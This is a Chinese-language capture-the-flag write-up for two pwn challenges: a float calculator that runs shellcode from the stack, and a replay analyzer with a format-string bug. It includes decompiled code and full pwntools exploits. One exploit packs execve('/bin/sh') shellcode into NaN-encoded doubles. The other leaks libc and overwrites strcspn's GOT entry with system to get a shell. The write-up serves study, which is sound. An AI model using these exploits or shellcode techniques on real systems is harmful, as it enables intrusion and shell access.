题目复现 float 静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 void  __fastcall __noreturn main (int  a1, char  **a2, char  **a3) {   void  *v3;    void  *v4;    double  *v5;    _BYTE v6[12 ];    int  v7;    int  i;    int  j;    double  *v10;    void  *s;    void  *buf;    double  v13;    unsigned  __int64 v14;    v14 = __readfsqword(0x28 u);   v3 = alloca(400LL );   s = v6;   v4 = alloca(64LL );   buf = v6;   memset (v6, 0 , 0x180 uLL);   memset (buf, 0 , 0x30 uLL);   qword_40E0 = s;                                  dword_4010 = 0 ;   sub_1384();   sub_14C9();   while  ( 1  )   {     v7 = read(0 , buf, 0x180 uLL);                     if  ( v7 > 47  )       v7 = 48 ;     for  ( i = 0 ; i < v7 && *(buf + i) != '\n' ; ++i )     {       if  ( *(buf + i) <= ' '  || *(buf + i) > '0'  )       {         if  ( *(buf + i) > '/'  && *(buf + i) <= '9'  )         {           if  ( dword_4010 > 47  )                           {             puts ("ERROR" );             exit (1 );           }           ++dword_4010;           v5 = qword_40E0;           *v5 = atof(buf + i);           qword_40E0 += 8LL ;           while  ( *(buf + i + 1 ) == '.'  || *(buf + i + 1 ) > '/'  && *(buf + i + 1 ) <= '9'  )             ++i;         }       }       else        {                                                  if  ( dword_4010 <= 1  )         {           puts ("ERROR" );           exit (1 );         }         v10 = s;         for  ( j = 0 ; j <= 47 ; ++j )         {           v13 = fabs (*v10);           if  ( v13 != 0.0  && (v13 < 1.0  || v13 > 100.0 ) )           {             printf ("ERROR: %lf\n" , v13);             exit (1 );           }           ++v10;         }         (func_list[*(buf + i) - 0x20 ])();              }     }     if  ( s < qword_40E0 )       printf ("Result: %lf\n" , *(qword_40E0 - 8 ));   } } 
当为0的时候就会有
而qword_40E0 = s; ,是栈上的指针,那么就会执行栈上的shellcode,现在只需要找到站上的shellcode是怎么回事即可
本题目的大概逻辑是:首先大体是一个浮点数计算的程序,它有着加减乘除的功能,它每读进一个数,就会将其保存在栈上,以IEEE浮点表示形式,其中每次读进的值要不满足a!=0 && (a<1.0 || a>100.0)的条件,然而在判断a时,有一个纰漏便是在判断符号的时候将0也攘括进去了,因此导致了一个栈上shellcode的执行
动态调试的部分边省略,主要还是对上述的验证
IEEE标准的浮点形式的double型主要是1位的符号位,11位的指数位,52位的有效数,其中指数位是要再加上一个偏移1027即011111111111,例如1的浮点形式便是0 0111111111111 000000000…….00000000
而浮点形式的特殊情况便是NaN,表示0/0等无意义的形式,其中
NaN 的两个特殊属性是:
与其他浮点数(包括 NaN 和 ±∞  )的比较结果: 
比较 
NaN ≥ x 
NaN ≤ x 
NaN > x 
NaN < x 
NaN = x 
NaN ≠ x 
 
 
结果 
False 
False 
False 
False 
False 
True 
 
它有许多可能的编码,允许它携带其他信息,例如指示 NaN 来源的诊断信息。例如: 
 
double-64 NaN:s111 1111 1111 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx (其中s 是符号,x 序列表示非零数字(零值编码表示无穷大))
因此如果直接以NaN表示的话那个条件便是不成立的,就能直接构造shellcode
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from  pwn import  *local = 1  pc = './fcalc'  aslr = True  context.log_level = "debug"  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf = ELF(pc) if  local == 1 :         p = process(pc,aslr=aslr) else :    remote_addr = ['node4.buuoj.cn' , 6666 ]     p = remote(remote_addr[0 ], remote_addr[1 ]) ru  = lambda  x   : p.recvuntil(x) sn  = lambda  x   : p.send(x) rl  = lambda      : p.recvline() sl  = lambda  x   : p.sendline(x) rv  = lambda  x   : p.recv(x) sa  = lambda  a,b : p.sendafter(a,b) sla = lambda  a,b : p.sendlineafter(a,b) if  __name__ == "__main__" :    payload = '1 1 0' .ljust(0x40 , 'a' )     payload += p64(0x7FFFFFFFFFFFFFFF )*2       jmpn = b"\xEB\x02"      NaNHeader = b"\xFF\x7F"                                                                                 payload += '\x31\xc0\x31\xdb'  + jmpn + NaNHeader     payload += '\x66\xb8\x3b\x00'  + jmpn + NaNHeader     payload += '\x66\xbb\x68\x00'  + jmpn + NaNHeader     payload += '\x48\xc1\xe3\x10'  + jmpn + NaNHeader     payload += '\x66\xbb\x2f\x73'  + jmpn + NaNHeader     payload += '\x48\xc1\xe3\x10'  + jmpn + NaNHeader     payload += '\x66\xbb\x69\x6e'  + jmpn + NaNHeader     payload += '\x48\xc1\xe3\x10'  + jmpn + NaNHeader     payload += '\x66\xbb\x2f\x62'  + jmpn + NaNHeader     payload += '\x53\x48\x89\xe7'  + jmpn + NaNHeader     payload += '\x31\xf6\x31\xd2'  + jmpn + NaNHeader     payload += '\x0f\x05\x90\x90'  + jmpn + NaNHeader         ru('expression:\n' )     sn(payload)     p.interactive() 
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp) {   char  *v3;    char  v5;    __int16 v6;    char  *lineptr;    size_t  n;    void  *ptr;    __int64 temp_size;    void  *ptr1;    char  format[264 ];    unsigned  __int64 v13;    v13 = __readfsqword(0x28 u);   setvbuf(stdin , 0LL , 2 , 0LL );   setvbuf(stdout , 0LL , 2 , 0LL );   while  ( 1  )   {     puts ("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):" );     lineptr = 0LL ;     n = 0LL ;     if  ( getline(&lineptr, &n, stdin ) <= 0  )           break ;     v3 = lineptr;     v3[strcspn (lineptr, "\n" )] = 0 ;     if  ( !*lineptr )       break ;     temp_size = hexs2bin(lineptr, &ptr);     ptr1 = ptr;     if  ( !temp_size )     {       puts ("Error: failed to decode hex" );       return  1 ;     }     puts ("\n=~= miss-analyzer =~=" );     v5 = read_byte(&ptr1, &temp_size);               if  ( v5 )     {       switch  ( v5 )       {         case  1 :           puts ("nothing now." );           break ;         case  2 :           puts ("nothing now." );           break ;         case  3 :           puts ("nothing now." );           break ;       }     }     else      {       puts ("default" );     }     consume_bytes(&ptr1, &temp_size, 4LL );           read_string(&ptr1, &temp_size, format, 255LL );     printf ("Hash: %s\n" , format);     read_string(&ptr1, &temp_size, format, 255LL );     printf ("Player name: " );     printf (format);                                  putchar (10 );     read_string(&ptr1, &temp_size, format, 255LL );     consume_bytes(&ptr1, &temp_size, 10LL );          v6 = read_short(&ptr1, &temp_size);              printf ("Miss count: %d\n" , (unsigned  int )v6);     if  ( v6 )       puts ("Yep, looks like you missed." );     else        puts ("You didn't miss!" );     puts ("=~=~=~=~=~=~=~=~=~=~=\n" );     free (lineptr);     free (ptr);        }   return  0 ; } 
本题的静态分析十分困难,而且脚本的编写也很困难,算是长见识了。。(第一次脚本没写出来
先看read_string函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 _BYTE *__fastcall read_string (_QWORD *a1, _QWORD *a2, _BYTE *a3, unsigned  int  a4)  {   _BYTE *result;    char  byte;    unsigned  int  v6;    unsigned  int  v7;    unsigned  int  v10;    char  i;    unsigned  int  j;    *a3 = 0 ;   result = (_BYTE *)read_byte(a1, a2);   if  ( (_BYTE)result )   {     if  ( (_BYTE)result != 0xB  )                      {       puts ("Error: failed to read string" );       exit (1 );     }     v10 = 0 ;     for  ( i = 0 ; ; i += 7  )     {       byte = read_byte(a1, a2);       v10 |= (byte & 0x7F ) << i;       if  ( byte >= 0  )         break ;     }     for  ( j = 0 ; ; ++j )     {       v6 = a4;       if  ( a4 > v10 )         v6 = v10;       if  ( v6 <= j )         break ;       a3[j] = read_byte(a1, a2);     }     while  ( v10 > j )     {       read_byte(a1, a2);       ++j;     }     v7 = v10;     if  ( a4 <= v10 )       v7 = a4;     result = &a3[v7];     *result = 0 ;   }   return  result; } 
再看read_byte函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall read_byte (_QWORD *ptr1, _QWORD *ptr2)  {   unsigned  __int8 v3;    if  ( !*ptr2 )   {     puts ("Error: failed to read replay" );     exit (1 );   }   v3 = *(_BYTE *)(*ptr1)++;   --*ptr2;   return  v3; } 
复杂的一匹,但是搞懂每个函数的内容,然后再一步一步来,便不会有太大的困难
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from  pwn import *import  binasciielf_path='./format'  libc=ELF('./libc.so.6' ,checksec=False ) elf=ELF(elf_path,checksec=True ) context.binary=elf_path context.log_level='debug'  r   =lambda  num=4096 				:p.recv(num) ru  =lambda  content,drop=False 		:p.recvuntil(content,drop) rl  =lambda  						:p.recvline() sla =lambda  flag,content			:p.sendlineafter(flag,content) sa  =lambda  flag,content			:p.sendafter(flag,content) sl  =lambda  content					:p.sendline(content) s   =lambda  content					:p.send(content) irt =lambda  						:p.interactive() tbs =lambda  content					:str (content).encode() leak=lambda  name,addr 				:log.success('{} = {:#x}' .format (name, addr)) local = 1  def  debug (content=0  ):    if (local):         if  content:             gdb.attach(p,content)         else :             gdb.attach(p)             pause() def  run ():    if (local):         return  process(elf_path)     return  remote() p=run() def  consume_bytes (nb:int  )->bytes :    return  b'55' *nb def  read_string (s: str  ):    size = (hex (len (s))[2 :].rjust(2 , "0" )).encode('utf-8' )     data = binascii.hexlify(s.encode('utf-8' ))     info(f"{size}  + {data} " )     return  b"0b"  + size + data def  input_1 (payload ):    if  type (payload) == bytes :         payload = payload.decode()     payload_ =consume_bytes(5 )     payload_ +=read_string("11112222" )     payload_ +=read_string(payload)     payload_ +=read_string("ohh good" )     payload_ +=consume_bytes(10 +2 )     print (payload_)     sla(b"Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):\n" ,payload_)     ru(b"Player name: " )     return  rl()[:-1 ] leaklibc = input_1("%3$p" ) info(f'leaklibc===>{leaklibc} ' ) libc.address=int (leaklibc,16 )-0x114887  info(f'libc_base===>{hex (libc.address)} ' ) auto = FmtStr(input_1,offset=14 )    auto.write(elf.got['strcspn' ],libc.sym.system)   auto.execute_writes()       sl(b"/bin/sh" ) irt() 
总结 做格式化字符串漏洞的时候应该先把向addr写入value的自动函数写出来(不要怕麻烦,这样之后可以节省很多的麻烦。